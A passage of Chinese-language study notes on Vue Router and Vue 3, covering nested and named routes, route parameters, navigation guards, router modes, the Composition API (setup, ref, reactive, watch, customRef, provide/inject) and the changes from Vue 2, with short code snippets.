  5. 指定展示位置

    <router-view></router-view>
    
    1

# 40.1 几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。
  4. 整个应用只有一个router,可以通过组件的$router属性获取到。

# 41. 多级路由(嵌套路由)

  1. 配置路由规则,使用children配置项:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children属性配置子级路由
    			{
    				path:'news', //此处一定不要写:/news
    				component:News
    			},
    			{
    				path:'message',//此处一定不要写:/message
    				component:Message
    			}
    		]
    	}
    ]
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>
    
    1

# 42. 路由的query参数

  1. 传递参数

    <!-- 跳转并携带query参数,to的字符串写法 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
    				
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link 
    	:to="{
    		path:'/home/message/detail',
    		query:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
  2. 接收参数:

    $route.query.id
    $route.query.title
    
    1
    2

# 43. 命名路由

作用:可以简化路由的跳转

使用方法

①给路由命名

{
	path:'/demo',
	component:Demo,
	children:[
		{
			path:'test',
			component:Test,
			children:[
				{
                    name:'hello' //给路由命名
					path:'welcome',
					component:Hello,
				}
			]
		}
	]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

②简化跳转

<!--简化前,需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>

<!--简化后,直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>

<!--简化写法配合传递参数 -->
<router-link 
	:to="{
		name:'hello',
		query:{
		   id:666,
            title:'你好'
		}
	}"
>跳转</router-link>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 44. 路由的params参数

  1. 配置路由,声明接收params参数

    {
    	path:'/home',
    	component:Home,
    	children:[
    		{
    			path:'news',
    			component:News
    		},
    		{
    			component:Message,
    			children:[
    				{
    					name:'xiangqing',
    					path:'detail/:id/:title', //使用占位符声明接收params参数
    					component:Detail
    				}
    			]
    		}
    	]
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
  2. 传递参数

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="/home/message/detail/666/你好">跳转</router-link>
    				
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
    	:to="{
    		name:'xiangqing',
    		params:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  3. 接收参数:

    $route.params.id
    $route.params.title
    
    1
    2

# 45. 路由的props配置

作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 46. replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为push和replace,push是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
  3. replace模式仅适用于router-link标签,举例:<router-link replace to="..." .......>xxx</router-link>

# 47. 编程式路由导航

  1. 作用:不借助router-link标签实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19

# 48. 缓存路由组件(keep-alive)

  1. 作用:让不展示的路由组件保持挂载,不被销毁

  2. 具体编码:

    <keep-alive include="News"> 
        <router-view></router-view>
    </keep-alive>
    
    1
    2
    3

# 49. 两个新的生命周期钩子(activated)

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
  2. 具体名字:
    1. activatedkeep-alive组件被激活时触发
    2. deactivatedkeep-alive组件失活时触发

# 50. 路由守卫

  1. 作用:对路由进行权限控制
  2. 分类:全局守卫、独享守卫、组件内守卫

# 50.1 全局守卫

//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
	console.log('beforeEach',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
			next() //放行
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next() //放行
	}
})

//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
	console.log('afterEach',to,from)
	if(to.meta.title){ 
		document.title = to.meta.title //修改网页的title
	}else{
		document.title = 'vue_test'
	}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 50.2 独享守卫

beforeEnter(to,from,next){
	console.log('beforeEnter',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){
			next()
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next()
	}
}
1
2
3
4
5
6
7
8
9
10
11
12
13

# 50.3 组件内守卫

//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}
1
2
3
4
5
6

# 51. 路由器的两种工作模式

  1. 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值
  2. hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器

# 51.1 hash模式

  1. 地址中永远带着#号,不美观 。
  2. 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
  3. 兼容性较好。

# 51.2 history模式

  1. 地址干净,美观
  2. 兼容性和hash模式相比略差
  3. 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题

# 52. Vue3快速上手

# 52.1 Vue3简介

  1. 2020年9月18日,Vue.js发布3.0版本,代号:One Piece(海贼王)
  2. 耗时2年多、2600+次提交 (opens new window)、30+个RFC (opens new window)、600+次PR (opens new window)、99位贡献者 (opens new window)
  3. github上的tags地址:https://github.com/vuejs/vue-next/releases/tag/v3.0.0

# 52.2 Vue3带来了什么

# 1.性能的提升

  • 打包大小减少41%

  • 初次渲染快55%, 更新渲染快133%

  • 内存减少54%

    ......

# 2.源码的升级

  • 使用Proxy代替defineProperty实现响应式

  • 重写虚拟DOM的实现和Tree-Shaking

    ......

# 3.拥抱TypeScript

  • Vue3可以更好的支持TypeScript

# 4.新的特性

  1. Composition API(组合API)

    • setup配置
    • ref与reactive
    • watch与watchEffect
    • provide与inject
    • ......
  2. 新的内置组件

    • Fragment
    • Teleport
    • Suspense
  3. 其他改变

    • 新的生命周期钩子
    • data 选项应始终被声明为一个函数
    • 移除keyCode支持作为 v-on 的修饰符
    • ......

# 53. 创建Vue3.0工程

# 53.1 使用 vue-cli 创建

官方文档:https://cli.vuejs.org/zh/guide/creating-a-project.html#vue-create

## 查看@vue/cli版本,确保@vue/cli版本在4.5.0以上
vue --version
## 安装或者升级你的@vue/cli
npm install -g @vue/cli
## 创建
vue create vue_test
## 启动
cd vue_test
npm run serve
1
2
3
4
5
6
7
8
9

# 53.2 使用 vite 创建

  • 官方文档:https://v3.cn.vuejs.org/guide/installation.html#vite

  • vite官网:https://vitejs.cn

  • 什么是vite?—— 新一代前端构建工具

# vite优势

  1. 开发环境中,无需打包操作,可快速的冷启动
  2. 轻量快速的热重载(HMR)
  3. 真正的按需编译,不再等待整个应用编译完成

# 传统构建 与 vite构建对比图

bundler.37740380 esm.3070012d

# 命令行相关步骤

## 创建工程
npm init vite-app <project-name>
## 进入工程目录
cd <project-name>
## 安装依赖
npm install
## 运行
npm run dev
1
2
3
4
5
6
7
8

# 54. 常用 Composition API

官方文档: https://v3.cn.vuejs.org/guide/composition-api-introduction.html

# 54.1 拉开序幕的setup

  1. 理解:Vue3.0中一个新的配置项,值为一个函数。
  2. setup是所有Composition API(组合API)“ 表演的舞台 ”。
  3. 组件中所用到的:数据、方法等等,均要配置在setup中。
  4. setup函数的两种返回值:
    1. 若返回一个对象,则对象中的属性、方法, 在模板中均可以直接使用。(重点关注!)
    2. 若返回一个渲染函数:则可以自定义渲染内容。(了解即可)

# 注意点

  1. 尽量不要与Vue2.x配置混用
    • Vue2.x配置(data、methos、computed...)中可以访问到setup中的属性、方法
    • 但在setup中不能访问到Vue2.x配置(data、methos、computed...)
    • 如果有重名, setup优先
  2. setup不能是一个async函数,因为返回值不再是return的对象, 而是promise, 模板看不到return对象中的属性。(后期也可以返回一个Promise实例,但需要Suspense和异步组件的配合)

# 54.2 ref函数

  • 作用: 定义一个响应式的数据
  • 语法: const xxx = ref(initValue)
    • 创建一个包含响应式数据的引用对象(reference对象,简称ref对象)
    • JS中操作数据: xxx.value
    • 模板中读取数据: 不需要.value,直接:<div></div>
  • 备注:
    • 接收的数据可以是:基本类型、也可以是对象类型
    • 基本类型的数据:响应式依然是靠Object.defineProperty()的get与set完成的
    • 对象类型的数据:内部 “ 求助 ” 了Vue3.0中的一个新函数—— reactive函数

# 54.3 reactive函数

  • 作用: 定义一个对象类型的响应式数据(基本类型不要用它,要用ref函数)
  • 语法:const 代理对象= reactive(源对象)接收一个对象(或数组),返回一个代理对象(Proxy的实例对象,简称proxy对象)
  • reactive定义的响应式数据是“深层次的”
  • 内部基于 ES6 的 Proxy 实现,通过代理对象操作源对象内部数据进行操作

# 54.4 Vue3.0中的响应式原理

# vue2.x的响应式

  • 实现原理:

    • 对象类型:通过Object.defineProperty()对属性的读取、修改进行拦截(数据劫持)

    • 数组类型:通过重写更新数组的一系列方法来实现拦截。(对数组的变更方法进行了包裹)

      Object.defineProperty(data, 'count', {
          get () {}, 
          set () {}
      })
      
      1
      2
      3
      4
  • 存在问题:

    • 新增属性、删除属性, 界面不会更新
    • 直接通过下标修改数组, 界面不会自动更新

# Vue3.0的响应式

  • 实现原理:

    • 通过Proxy(代理): 拦截对象中任意属性的变化, 包括:属性值的读写、属性的添加、属性的删除等

    • 通过Reflect(反射): 对源对象的属性进行操作

    • MDN文档中描述的Proxy与Reflect:

      • Proxy:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy

      • Reflect:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect

        new Proxy(data, {
        	// 拦截读取属性值
            get (target, prop) {
            	return Reflect.get(target, prop)
            },
            // 拦截设置属性值或添加新属性
            set (target, prop, value) {
            	return Reflect.set(target, prop, value)
            },
            // 拦截删除属性
            deleteProperty (target, prop) {
            	return Reflect.deleteProperty(target, prop)
            }
        })
        
        proxy.name = 'tom'   
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16

# 54.5 reactive对比ref

  1. 从定义数据角度对比:
    • ref用来定义:基本类型数据
    • reactive用来定义:对象(或数组)类型数据
    • 备注:ref也可以用来定义对象(或数组)类型数据, 它内部会自动通过reactive转为代理对象
  2. 从原理角度对比:
    • ref通过Object.defineProperty()的get与set来实现响应式(数据劫持)
    • reactive通过使用Proxy来实现响应式(数据劫持), 并通过Reflect操作源对象内部的数据
  3. 从使用角度对比:
    • ref定义的数据:操作数据需要.value,读取数据时模板中直接读取不需要.value
    • reactive定义的数据:操作数据与读取数据:均不需要.value

# 54.6 setup的两个注意点

  • setup执行的时机

    • 在beforeCreate之前执行一次,this是undefined
  • setup的参数

    • props:值为对象,包含:组件外部传递过来,且组件内部声明接收了的属性
    • context:上下文对象
      • attrs: 值为对象,包含:组件外部传递过来,但没有在props配置中声明的属性, 相当于 this.$attrs
      • slots: 收到的插槽内容, 相当于 this.$slots
      • emit: 分发自定义事件的函数, 相当于 this.$emit

# 54.7 计算属性与监视

# 1.computed函数

  • 与Vue2.x中computed配置功能一致

  • 写法

    import {computed} from 'vue'
    
    setup(){
        ...
    	//计算属性——简写
        let fullName = computed(()=>{
            return person.firstName + '-' + person.lastName
        })
        //计算属性——完整
        let fullName = computed({
            get(){
                return person.firstName + '-' + person.lastName
            },
            set(value){
                const nameArr = value.split('-')
                person.firstName = nameArr[0]
                person.lastName = nameArr[1]
            }
        })
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20

# 2.watch函数

  • 与Vue2.x中watch配置功能一致

  • 两个小“坑”:

    • 监视reactive定义的响应式数据时:oldValue无法正确获取、强制开启了深度监视(deep配置失效)。
    • 监视reactive定义的响应式数据中某个属性时:deep配置有效。
    //情况一:监视ref定义的响应式数据
    watch(sum,(newValue,oldValue)=>{
    	console.log('sum变化了',newValue,oldValue)
    },{immediate:true})
    
    //情况二:监视多个ref定义的响应式数据
    watch([sum,msg],(newValue,oldValue)=>{
    	console.log('sum或msg变化了',newValue,oldValue)
    }) 
    
    /* 情况三:监视reactive定义的响应式数据
    			若watch监视的是reactive定义的响应式数据,则无法正确获得oldValue!!
    			若watch监视的是reactive定义的响应式数据,则强制开启了深度监视 
    */
    watch(person,(newValue,oldValue)=>{
    	console.log('person变化了',newValue,oldValue)
    },{immediate:true,deep:false}) //此处的deep配置不再奏效
    
    //情况四:监视reactive定义的响应式数据中的某个属性
    watch(()=>person.job,(newValue,oldValue)=>{
    	console.log('person的job变化了',newValue,oldValue)
    },{immediate:true,deep:true}) 
    
    //情况五:监视reactive定义的响应式数据中的某些属性
    watch([()=>person.job,()=>person.name],(newValue,oldValue)=>{
    	console.log('person的job变化了',newValue,oldValue)
    },{immediate:true,deep:true})
    
    //特殊情况
    watch(()=>person.job,(newValue,oldValue)=>{
        console.log('person的job变化了',newValue,oldValue)
    },{deep:true}) //此处由于监视的是reactive素定义的对象中的某个属性,所以deep配置有效
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32

# 3.watchEffect函数

  • watch的套路是:既要指明监视的属性,也要指明监视的回调。

  • watchEffect的套路是:不用指明监视哪个属性,监视的回调中用到哪个属性,那就监视哪个属性。

  • watchEffect有点像computed:

    • 但computed注重的计算出来的值(回调函数的返回值),所以必须要写返回值。
    • 而watchEffect更注重的是过程(回调函数的函数体),所以不用写返回值。
    //watchEffect所指定的回调中用到的数据只要发生变化,则直接重新执行回调。
    watchEffect(()=>{
        const x1 = sum.value
        const x2 = person.age
        console.log('watchEffect配置的回调执行了')
    })
    
    1
    2
    3
    4
    5
    6

# 54.8 Vue3生命周期

lifecycle
  1. Vue3.0中可以继续使用Vue2.x中的生命周期钩子,但有有两个被更名:
    • beforeDestroy改名为 beforeUnmount
    • destroyed改名为 unmounted
  2. Vue3.0也提供了 Composition API 形式的生命周期钩子,与Vue2.x中钩子对应关系如下:
    • beforeCreate===>setup()
    • created=======>setup()
    • beforeMount ===>onBeforeMount
    • mounted=======>onMounted
    • beforeUpdate===>onBeforeUpdate
    • updated =======>onUpdated
    • beforeUnmount ==>onBeforeUnmount
    • unmounted =====>onUnmounted

# 54.9 自定义hook函数

  • 什么是hook?—— 本质是一个函数,把setup函数中使用的Composition API进行了封装。

  • 类似于vue2.x中的mixin。

  • 自定义hook的优势: 复用代码, 让setup中的逻辑更清楚易懂。

# 54.10 toRef

  • 作用:创建一个 ref 对象,其value值指向另一个对象中的某个属性。

  • 语法:const name = toRef(person,'name')

  • 应用: 要将响应式对象中的某个属性单独提供给外部使用时。

  • 扩展:toRefs 与toRef功能一致,但可以批量创建多个 ref 对象,语法:toRefs(person)

# 55. 其它 Composition API

# 55.1 shallowReactive 与 shallowRef

  • shallowReactive:只处理对象最外层属性的响应式(浅响应式)

  • shallowRef:只处理基本数据类型的响应式, 不进行对象的响应式处理

  • 什么时候使用?

    • 如果有一个对象数据,结构比较深, 但变化时只是外层属性变化 ===> shallowReactive
    • 如果有一个对象数据,后续功能不会修改该对象中的属性,而是生新的对象来替换 ===> shallowRef

# 55.2 readonly 与 shallowReadonly

  • readonly: 让一个响应式数据变为只读的(深只读)
  • shallowReadonly:让一个响应式数据变为只读的(浅只读)
  • 应用场景: 不希望数据被修改时

# 55.3 toRaw 与 markRaw

  • toRaw:
    • 作用:将一个由reactive生成的响应式对象转为普通对象
    • 使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新
  • markRaw:
    • 作用:标记一个对象,使其永远不会再成为响应式对象
    • 应用场景:
      1. 有些值不应被设置为响应式的,例如复杂的第三方类库等
      2. 当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能

# 55.4.customRef

  • 作用:创建一个自定义的 ref,并对其依赖项跟踪和更新触发进行显式控制

  • 实现防抖效果:

    <template>
    	<input type="text" v-model="keyword">
    	<h3>{{keyword}}</h3>
    </template>
    
    <script>
    	import {ref,customRef} from 'vue'
    	export default {
    		name:'Demo',
    		setup(){
    			// let keyword = ref('hello') //使用Vue准备好的内置ref
    			//自定义一个myRef
    			function myRef(value,delay){
    				let timer
    				//通过customRef去实现自定义
    				return customRef((track,trigger)=>{
    					return{
    						get(){
    							track() //告诉Vue这个value值是需要被“追踪”的
    							return value
    						},
    						set(newValue){
    							clearTimeout(timer)
    							timer = setTimeout(()=>{
    								value = newValue
    								trigger() //告诉Vue去更新界面
    							},delay)
    						}
    					}
    				})
    			}
    			let keyword = myRef('hello',500) //使用程序员自定义的ref
    			return {
    				keyword
    			}
    		}
    	}
    </script>
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38

# 55.5 provide 与 inject

  • 作用:实现祖与后代组件间通信

  • 套路:父组件有一个 provide 选项来提供数据,后代组件有一个 inject 选项来开始使用这些数据

  • 具体写法:

    1. 祖组件中:

      setup(){
      	......
          let car = reactive({name:'奔驰',price:'40万'})
          provide('car',car)
          ......
      }
      
      1
      2
      3
      4
      5
      6
    2. 后代组件中:

      setup(props,context){
      	......
          const car = inject('car')
          return {car}
      	......
      }
      
      1
      2
      3
      4
      5
      6

# 55.6 响应式数据的判断

  • isRef: 检查一个值是否为一个 ref 对象
  • isReactive: 检查一个对象是否是由 reactive 创建的响应式代理
  • isReadonly: 检查一个对象是否是由 readonly 创建的只读代理
  • isProxy: 检查一个对象是否是由 reactive 或者 readonly 方法创建的代理

# 56. Vue2和Vue3间API的优劣

# 56.1 Options API 存在的问题

使用传统OptionsAPI中,新增或者修改一个需求,就需要分别在data,methods,computed里修改

f84e4e2c02424d9a99862ade0a2e4114_tplv-k3u1fbpfcp-watermark e5ac7e20d1784887a826f6360768a368_tplv-k3u1fbpfcp-watermark

# 56.2 Composition API 的优势

我们可以更加优雅的组织我们的代码,函数。让相关功能的代码更加有序的组织在一起

bc0be8211fc54b6c941c036791ba4efe_tplv-k3u1fbpfcp-watermark 6cc55165c0e34069a75fe36f8712eb80_tplv-k3u1fbpfcp-watermark

# 57. 新的组件

# 57.1 Fragment

  1. 在Vue2中: 组件必须有一个根标签
  2. 在Vue3中: 组件可以没有根标签, 内部会将多个标签包含在一个Fragment虚拟元素中
  3. 好处: 减少标签层级, 减小内存占用

# 57.2 Teleport

  • 什么是Teleport?—— Teleport 是一种能够将我们的组件html结构移动到指定位置的技术

    <teleport to="移动位置">
    	<div v-if="isShow" class="mask">
    		<div class="dialog">
    			<h3>我是一个弹窗</h3>
    			<button @click="isShow = false">关闭弹窗</button>
    		</div>
    	</div>
    </teleport>
    
    1
    2
    3
    4
    5
    6
    7
    8

# 57.3 Suspense

  • 等待异步组件时渲染一些额外内容,让应用有更好的用户体验

  • 使用步骤:

    • 异步引入组件

      import {defineAsyncComponent} from 'vue'
      const Child = defineAsyncComponent(()=>import('./components/Child.vue'))
      
      1
      2
    • 使用Suspense包裹组件,并配置好default 与 fallback

      <template>
      	<div class="app">
      		<h3>我是App组件</h3>
      		<Suspense>
      			<template v-slot:default>
      				<Child/>
      			</template>
      			<template v-slot:fallback>
      				<h3>加载中.....</h3>
      			</template>
      		</Suspense>
      	</div>
      </template>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

# 58. 其他

# 58.1 全局API的转移

  • Vue 2.x 有许多全局 API 和配置。

    • 例如:注册全局组件、注册全局指令等。

      //注册全局组件
      Vue.component('MyButton', {
        data: () => ({
          count: 0
        }),
        template: '<button @click="count++">Clicked {{ count }} times.</button>'
      })
      
      //注册全局指令
      Vue.directive('focus', {
        inserted: el => el.focus()
      }
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
  • Vue3.0中对这些API做出了调整:

    • 将全局的API,即:Vue.xxx调整到应用实例(app)上

      2.x 全局 API(Vue) 3.x 实例 API (app)
      Vue.config.xxxx app.config.xxxx
      Vue.config.productionTip 移除
      Vue.component app.component
      Vue.directive app.directive
      Vue.mixin app.mixin
      Vue.use app.use
      Vue.prototype app.config.globalProperties

# 58.2 其他改变

  • data选项应始终被声明为一个函数。

  • 过度类名的更改:

    • Vue2.x写法

      .v-enter,
      .v-leave-to {
        opacity: 0;
      }
      .v-leave,
      .v-enter-to {
        opacity: 1;
      }
      
      1
      2
      3
      4
      5
      6
      7
      8
    • Vue3.x写法

      .v-enter-from,
      .v-leave-to {
        opacity: 0;
      }
      
      .v-leave-from,
      .v-enter-to {
        opacity: 1;
      }
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
  • 移除keyCode作为 v-on 的修饰符,同时也不再支持config.keyCodes

  • 移除v-on.native修饰符

    • 父组件中绑定事件

      <my-component
        v-on:close="handleComponentEvent"
        v-on:click="handleNativeClickEvent"
      />
      
      1
      2
      3
      4
    • 子组件中声明自定义事件

      <script>
        export default {
          emits: ['close']
        }
      </script>
      
      1
      2
      3
      4
      5
  • 移除过滤器(filter)

    过滤器虽然这看起来很方便,但它需要一个自定义语法,打破大括号内表达式是 “只是 JavaScript” 的假设,这不仅有学习成本,而且有实现成本!建议用方法调用或计算属性去替换过滤器。

  • ......

#Vue#Vue3#学习笔记
React入门

React入门→

最近更新
01
HTTP协议及缓存机制
05-28
02
开发环境
05-28
03
JS基础知识(一)-变量类型和计算
05-28
更多文章>
Theme by Vdoing | Copyright © 2021-2023 uploadhub | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式